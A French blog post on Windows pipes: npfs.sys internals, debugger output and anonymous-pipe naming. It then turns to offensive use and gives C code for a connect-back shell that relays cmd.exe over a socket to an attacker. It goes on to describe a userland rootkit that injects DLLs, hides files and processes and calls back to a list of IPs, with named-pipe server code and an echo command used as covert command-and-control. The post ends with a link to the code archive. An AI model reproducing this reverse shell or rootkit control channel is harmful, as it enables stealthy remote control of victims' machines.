Playing with Pipes

octobre 28th, 2007 at 01:01 admin

Il existe encore dans la scène-fr des gars qui continuent de sortir des zines, le dernier en date est le cPc (Chemical Phreakers Crew), zine orienté phreaking/drugs, ermm comme dirait certains. Je dirais juste que voir des scan de VMB ne me fait plus autant d’effet qu’avant, c’est peut être parce que leurs auteurs sont des ganja-men de 16 ans faisant des soirée CosPlay-VisualKei-SM avec Bancal et pas foutu de sortir quelque chose de bien formater que ca me faire rire :] Au moins Rafale fait quelque chose de correct et d’intéressant. Bon finit de troller, aujourd’hui on va jouer avec une feature de win utilisé peut souvent utiliser par les codeurs mais qui peut s’avérer vraiment pratique, les pipes (heu prononcez à l’anglaise !)

Les pipes sont des objets servant à la communication interprocessus de manière bidirectionnelle, ils se comportent comme des fichiers, c’est à dire qu’on peut écrire et lire dedans avec des API comme ReadFile et WriteFile. Il existe 2 types de pipes, les anonymous-pipe qui servent en générale à rediriger les handles d’entrées/sorties d’un process fils vers ceux voulu par le process père. On les crée avec la fonction CreatePipe. De l’autre coté, on retrouve les named-pipes qui sont des objets de communication globaux pouvant être accédé par n’importe quel processus (évidemment il y a des ACL dessus), ils servent nottament pour les RPC (Remote Procedure Call).

Quelques mots sur l’implémentation des pipes. Ceux-ci se fonctionnent grâce à aux driver npfs.sys qui est implémenté de la même façon qu’un driver de filesystem. Voici les MajorFunctions gérés par le driver \filesystem\npfs.

kd> !drvobj \filesystem\npfs 3
Driver object (80d6d208) is for:
 \FileSystem\Npfs
Driver Extension List: (id , addr)

Device Object list:
80e20208  

DriverEntry:   faa606d3	Npfs!GsDriverEntry
DriverStartIo: 00000000	
DriverUnload:  faa5e41e	Npfs!NpfsUnload
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      faa5b6e8	Npfs!NpFsdCreate
[01] IRP_MJ_CREATE_NAMED_PIPE           faa5bc50	Npfs!NpFsdCreateNamedPipe
[02] IRP_MJ_CLOSE                       faa5b182	Npfs!NpFsdClose
[03] IRP_MJ_READ                        faa5e778	Npfs!NpFsdRead
[04] IRP_MJ_WRITE                       faa5fd96	Npfs!NpFsdWrite
[05] IRP_MJ_QUERY_INFORMATION           faa5cc54	Npfs!NpFsdQueryInformation
[06] IRP_MJ_SET_INFORMATION             faa5ccb8	Npfs!NpFsdSetInformation
[07] IRP_MJ_QUERY_EA                    804f3520	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f3520	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               faa5ceb4	Npfs!NpFsdFlushBuffers
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    faa5fb1e	Npfs!NpFsdQueryVolumeInformation
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f3520	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           faa5c5b4	Npfs!NpFsdDirectoryControl
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         faa5e3c8	Npfs!NpFsdFileSystemControl
[0e] IRP_MJ_DEVICE_CONTROL              804f3520	nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804f3520	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    804f3520	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                804f3520	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     faa5b08e	Npfs!NpFsdCleanup
[13] IRP_MJ_CREATE_MAILSLOT             804f3520	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              faa5eda0	Npfs!NpFsdQuerySecurityInfo
[15] IRP_MJ_SET_SECURITY                faa5ee04	Npfs!NpFsdSetSecurityInfo
[16] IRP_MJ_POWER                       804f3520	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              804f3520	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               804f3520	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 804f3520	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   804f3520	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         804f3520	nt!IopInvalidDeviceRequest

Fast I/O routines:
FastIoRead                              faa5e820	Npfs!NpFastRead
FastIoWrite                             faa5fe40	Npfs!NpFastWrite

La fonction importante est NpFsdCreateNamedPipe qui est appelé lorsque le driver reçoit un IRP de type IRP_MJ_CREATE_NAMED_PIPE, c’est IRP est forgé par la fonction native NtCreateNamedPipeFile dont le prototype est :

NTSTATUS
NtCreateNamedPipeFile (
     __out PHANDLE FileHandle,
     __in ULONG DesiredAccess,
     __in POBJECT_ATTRIBUTES ObjectAttributes,
     __out PIO_STATUS_BLOCK IoStatusBlock,
     __in ULONG ShareAccess,
     __in ULONG CreateDisposition,
     __in ULONG CreateOptions,
     __in ULONG NamedPipeType,
     __in ULONG ReadMode,
     __in ULONG CompletionMode,
     __in ULONG MaximumInstances,
     __in ULONG InboundQuota,
     __in ULONG OutboundQuota,
     __in_opt PLARGE_INTEGER DefaultTimeout
     )

/*++

Routine Description:

    Creates and opens the server end handle of the first instance of a
    specific named pipe or another instance of an existing named pipe.

Arguments:

    FileHandle - Supplies a handle to the file on which the service is being
        performed.

    DesiredAccess - Supplies the types of access that the caller would like to
        the file.

    ObjectAttributes - Supplies the attributes to be used for file object
        (name, SECURITY_DESCRIPTOR, etc.)

    IoStatusBlock - Address of the caller's I/O status block.

    ShareAccess - Supplies the types of share access that the caller would
        like to the file.

    CreateDisposition - Supplies the method for handling the create/open.

    CreateOptions - Caller options for how to perform the create/open.

    NamedPipeType - Type of named pipe to create (Bitstream or message).

    ReadMode - Mode in which to read the pipe (Bitstream or message).

    CompletionMode - Specifies how the operation is to be completed.

    MaximumInstances - Maximum number of simultaneous instances of the named
        pipe.

    InboundQuota - Specifies the pool quota that is reserved for writes to the
        inbound side of the named pipe.

    OutboundQuota - Specifies the pool quota that is reserved for writes to
        the inbound side of the named pipe.

    DefaultTimeout - Optional pointer to a timeout value that is used if a
        timeout value is not specified when waiting for an instance of a named
        pipe.

Return Value:

    The function value is the final status of the create/open operation.

--*/

En fait, il est possible d’énumérer sans problème les pipes existant, il suffit d’ouvrir un handle avec CreateFile sur le dossier \\.\Pipe\ puis d’énumérer son contenu avec une API comme NtQueryDirectoryFile avec le FileInformationClass sur FileDirectoryInformation. C’est ce que fait le tool « pipelist » de sysinternals.

Alors j’ai dit qu’il existait des anonymous-pipes, or l’api NtCreateNamedPipeFile demande un paramètre ObjectAttributes avec un nom pour de pipe, WTF. Si on disass la fonction CreatePipe de kernel32 on peut voir :

kernel32!CreatePipe+0x4a:
7c81e111 64a118000000    mov     eax,dword ptr fs:[00000018h] ; eax=TEB
7c81e117 681849887c      push    offset kernel32!PipeSerialNumber (7c884918)
7c81e11c 8bf8            mov     edi,eax
7c81e11e e843b6feff      call    kernel32!InterlockedIncrement (7c809766)
7c81e123 50              push    eax 						; PipeSerialNumber+1
7c81e124 ff7720          push    dword ptr [edi+20h] ; PID
7c81e127 8d85f8feffff    lea     eax,[ebp-108h]
7c81e12d 6858e2817c      push    offset kernel32!`string' (7c81e258) ; !
7c81e132 50              push    eax
7c81e133 ff15d013807c    call    dword ptr [kernel32!_imp__sprintf (7c8013d0)]

0:000> db 7c81e258
7c81e258  5c 44 65 76 69 63 65 5c-4e 61 6d 65 64 50 69 70  \Device\NamedPip
7c81e268  65 5c 57 69 6e 33 32 50-69 70 65 73 2e 25 30 38  e\Win32Pipes.%08
7c81e278  78 2e 25 30 38 78 00 56-e8 0c 00 00 00 8b d8 e9  x.%08x.

Alors comme on peut le voir un anonymous device sera nommé de la manière suivante \Device\NamedPipe\Win32Pipes.%08x.%08x, le premier %08x provient du « push dword ptr [edi+20h] » avec edi pointant sur le TEB, dans le TEB en 0×20 on trouve le PID du process. Le second %08x est un compteur PipeSerialNumber qui est incrémenté à chaque appel sur CreatePipe. On se retrouve donc au moment du sprintf avec par exemple la stack :

0012EC10   0012EC6C  |s = 0012EC6C
0012EC14   7C81E258  |format = "\Device\NamedPipe\Win32Pipes.%08x.%08x"
0012EC18   00000778  |<%08x> = 778 <- PID
0012EC1C   00000001  \<%08x> = 1 <- PipeSerialNumber 

Sinon pour jouer un peu, il est possible de voir la création des pipes sur votre OS. Pour cela, demandez à votre KD de mettre un BP sur votre VM au boot en faisant : Debug->Kernel Connection->Cycle Initial Break puis entrez la commande suivante : bp nt!NtCreateNamedPipeFile "!process -1 0; !thread; dS poi(poi(esp+C)+8);g" Vous allez pouvoir suivre quels process et thread créent des pipes sur le l'OS. C'est pratique quand on veut savoir la provenance de l'un d'entre eux :]

Enfin, une fonction comme ConnectNamedPipe qui attend qu'un client se connecte au pipe, communique au driver npfs à travers des IOCTL envoyé par la fonction NtFsControlFile et gérer par la MajorFunction NpFsdFileSystemControl. Voici la liste des IOCTL que peut recevoir le driver npfs extrait de ntifs.h du WDK :

//
// External named pipe file control operations
//

#define FSCTL_PIPE_ASSIGN_EVENT             CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_DISCONNECT               CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_LISTEN                   CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_PEEK                     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA)
#define FSCTL_PIPE_QUERY_EVENT              CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_TRANSCEIVE               CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER,  FILE_READ_DATA | FILE_WRITE_DATA)
#define FSCTL_PIPE_WAIT                     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_IMPERSONATE              CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_CLIENT_PROCESS       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_QUERY_CLIENT_PROCESS     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_PIPE_ATTRIBUTE       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_PIPE_ATTRIBUTE       CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE     CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)

Maintenant, finit de décrire et passons un peu à l'action. On commence avec un premier exemple de l'utilisation des anonymous-pipes, un simple shell en connect-back. On va crée un cmd.exe et rediriger ses I/O vers le socket, d'habitude on bind direct le socket sur l'I/O du process cmd.exe, ca marche, mais ce n'est pas vraiment propre, disons que pour une shellcode c'est bien. Cette fois-ci on va respecter la msdn en utilisant des pipes. Pensons un peu (whinelol?), il existe 3 types d'I/O provenant d'un process, StdIn, StdOut et StdErr. Sachant que lorsque qu'on appel CreatePipe, celle-ci nous renvoie 2 handles :

BOOL CreatePipe(
  PHANDLE hReadPipe,
  PHANDLE hWritePipe,
  LPSECURITY_ATTRIBUTES lpPipeAttributes,
  DWORD nSize
);

Un handle pour lire le contenu du pipe (hReadPipe) puis un autre pour écrire dedans (hWritePipe). On va alors besoin de 2 pipes pour notre process, un pipe qui recevra les sorties StdOut et StdErr (hChildStdoutWr) qu'on lira par la suite avec ReadFile de l'autre coté (ChildStdoutRd). Un autre qui servira à envoyer des commandes au shell (hChildStdinRd), on écrira dedans avec WriteFile (hChildStdinWr). Il faut aussi considérer le fait que les pipes sont représenté sous forme d'handle sur des fichiers, ce qui signifie que les handles des pipes crée dans le process parent ne sont pas valide dans le contexte du process fils (les handles sont unique à chaque process). Pour faire simple on va utiliser la notion d'héritage des handles, le process fils va hériter de 2 handles, celui qui va récupérer la sortie et celui qui enverra nos commandes. On va aussi empêcher les handles hChildStdoutRd et hChildStdinWr d'être hérité par le process fils en utilisant SetHandleInformation, le process fils n'en ayant pas besoin. Hop voici le code :

// Set the bInheritHandle flag so pipe handles are inherited.
saAttr.nLength=sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle=TRUE;
saAttr.lpSecurityDescriptor=NULL;

// Create a pipe for the child process's STDOUT.
if(!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0))
	printf("Error while creating Stdout pipe : %d\n", GetLastError());

// Ensure the read handle to the pipe for STDOUT is not inherited.
SetHandleInformation(hChildStdoutRd, HANDLE_FLAG_INHERIT, 0);

// Create a pipe for the child process's STDIN.
if(!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0))
	printf("Error while creating Stdin pipe : %d\n", GetLastError());

// Ensure the write handle to the pipe for STDIN is not inherited.
SetHandleInformation(hChildStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now create the child process.
fSuccess=CreateChildProcess();
if(!fSuccess)
	printf("Error with CreateChildProcess : %d\n", GetLastError());

Pour crée le process fils il suffit de remplir la structure STARTUP_INFORMATION de cette manière :

// Set up members of the STARTUPINFO structure.
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb=sizeof(STARTUPINFO);
siStartInfo.hStdError=hChildStdoutWr;
siStartInfo.hStdOutput=hChildStdoutWr;
siStartInfo.hStdInput=hChildStdinRd;
siStartInfo.dwFlags|=STARTF_USESTDHANDLES;

Après c'est simple pour relayer les commandes il suffit de faire :

while(1)
{
	//lecture de la sortie du process
	memset(msg, 0, sizeof(msg));
	
	//sans le sleep, le process child n'a pas le tps de tout écrire dans hChildStdoutWr
	//autre solution ??? need help ...
	Sleep(300);
	if(!ReadFile(hChildStdoutRd, msg, sizeof(msg), &n, NULL) || n==0)
	{	
		break;
	}
	
	send(sock, msg, n, 0);
	if(n==0)
		break;
	
	//reception des commandes
	memset(msg, 0, sizeof(msg));
	n=recv(sock, msg, sizeof(msg), 0);
	if(n==0 || strcmp(msg, "exit\n")==0)
		break;
	
	if(!WriteFile(hChildStdinWr, msg, n, &n, NULL))
	{	
		break;
	}
}

ref:

Voila un exemple d'utilisation pratique des anonymous-pipes. Maintenant allons un peu plus loin.

Imaginez un rootkit uniquement userland installé sur une machine. Il utilise l'API SetWindowsHookEx pour injecter des dll dans tout les process possédant une GUI qui va cacher les fichiers/clés dans le registre/connexions/processus/dlls. La dll va vérifier dans quelle process elle se fait charger, dans le cas ou elle se trouve dans un process réseau comme un browser, un msnmsgr.exe, voir même un steam.exe, elle renvoie un shell de connect back sur une liste d'ip, s'arrêtant dès qu'une connexion est établie. Evidement, une bonne partie des firewalls arrivent à voir se genre de tentative, l'injection de la dll+la création du cmd.exe n'étant pas très furtif mais passons outre cela et mettons nous à la place de l'attaquant.

L'attaquant de son coté recoit un shell, ok cool lol, il peut faire quasiment tout ce qu'il veut sur l'OS de la victime. Maintenant, imaginons qu'il est besoin de communiquer avec son rootkit, hummm. Vous allez me dire, izi, on fait comme les barbus, on crée un socket local qui servira à recevra les commandes. Sous Win, il y un mieux, les named-pipes. Cette fois ci notre rk va crée un pipe accessible à tous les process avec l'API CreateNamedPipe. J'ai juste reprit et modifié l'exemple de la msdn du "Multithreaded Pipe Server". Comme vous pouvez le voir le code est simple il suffit de créé le Pipe et de crée un thread pour traité la requête :

LPSTR lpszPipename="\\\\\\.\\\\pipe\\\\tapz"; 

// The main loop creates an instance of the named pipe and 
// then waits for a client to connect to it. When the client 
// connects, a thread is created to handle communications 
// with that client, and the loop is repeated. 

for(;;) 
{ 
	hPipe=CreateNamedPipe( 
	lpszPipename,             // pipe name 
	PIPE_ACCESS_DUPLEX,       // read/write access 
	PIPE_TYPE_MESSAGE |       // message type pipe 
	PIPE_READMODE_MESSAGE |   // message-read mode 
	PIPE_WAIT,                // blocking mode 
	PIPE_UNLIMITED_INSTANCES, // max. instances  
	BUFSIZE,                  // output buffer size 
	BUFSIZE,                  // input buffer size 
	NMPWAIT_USE_DEFAULT_WAIT, // client time-out 
	NULL);                    // default security attribute 

	if(hPipe==INVALID_HANDLE_VALUE) 
	{
		printf("CreatePipe failed"); 
		return 0;
	}

	// Wait for the client to connect; if it succeeds, 
	// the function returns a nonzero value. If the function
	// returns zero, GetLastError returns ERROR_PIPE_CONNECTED. 
	
	fConnected=ConnectNamedPipe(hPipe, NULL) ? TRUE:(GetLastError()==ERROR_PIPE_CONNECTED); 

	if(fConnected) 
	{ 
		// Create a thread for this client. 
		hThread=CreateThread( 
		NULL,              // no security attribute 
		0,                 // default stack size 
		(LPTHREAD_START_ROUTINE)InstanceThread, 
		(LPVOID) hPipe,    // thread parameter 
		0,                 // not suspended 
		&dwThreadId);      // returns thread ID 
		
		if(hThread==NULL) 
		{
			printf("CreateThread failed"); 
			return 0;
		}
		else 
			CloseHandle(hThread); 
	} 
	else 
	// The client could not connect, so close the pipe. 
	CloseHandle(hPipe); 
} 

Maintenant, l'attaquant a toujours son shell CB sur la b0x et peut envoyer des commandes au rk simplement en faisant :

C:\ProgHack\c\pipes>echo rofl >> \\.\pipe\tapz

Et la c'est la grande classe, le rk n'a plus qu'a traité le message et faire le boulot. C'est encore plus simple et plus discret que d'ouvrir une socket en écoute local. Avec cette méthode on commander notre rk en direct et surtout sans avoir besoin d'autres tools, juste le shell de win suffit.

Bon je m'arrête la concernant l'utilisation des pipes, il doit avoir plein d'autres choses sympa à faire. Moi j'ai trouvé un moyen simple et efficace de communiquer avec mon rk. Avant je trickais avec des fichiers .ini et des clés dans le registres, pas super pratique n'y très joli.

Il doit certainement rester plein de choses à faire avec les pipes, dans le cas présent je ne communique dans un sens, je n'ai pas de réponse du rk. Il doit exister des methodes afin d'avoir une sortie dans le shell simplement, a voir ...

Voici les codes que j'ai utilisé :
http://ivanlef0u.fr/repo/pipes.rar

ref :

http://en.wikipedia.org/wiki/Named_pipe

http://msdn2.microsoft.com/en-us/library/aa365137.aspx

Windows Internals
Chapter 13. Networking -> Networking APIs -> Named Pipes and Mailslots
et Named Pipe and Mailslot Implementation

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/redirection.mspx?mfr=true

Entry Filed under: Non classé

1 Comment

  • 1. Chloe  |  novembre 4th, 2008 at 16:08

    Excuse moi, mais:
    « une feature de win utilisé peut souvent utiliser »

    Soit elle est utilisée (la feature)
    Soit elle est peu utilisée

    mais pas « peut souvent utiliser »… sauf si c’est elle qui utilise quelque chose mais ici, il ne me semble pas!

    En toute amitié !

    (Je ne vais pas réellement commenter l’article, je le lis par hasard sur le PC de mon ami, et… bah je comprend pas grand chose; mais vu que c’est enregistré en onglet ca doit être intéressant :)


Trackback this post


Calendar

octobre 2021
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Most Recent Posts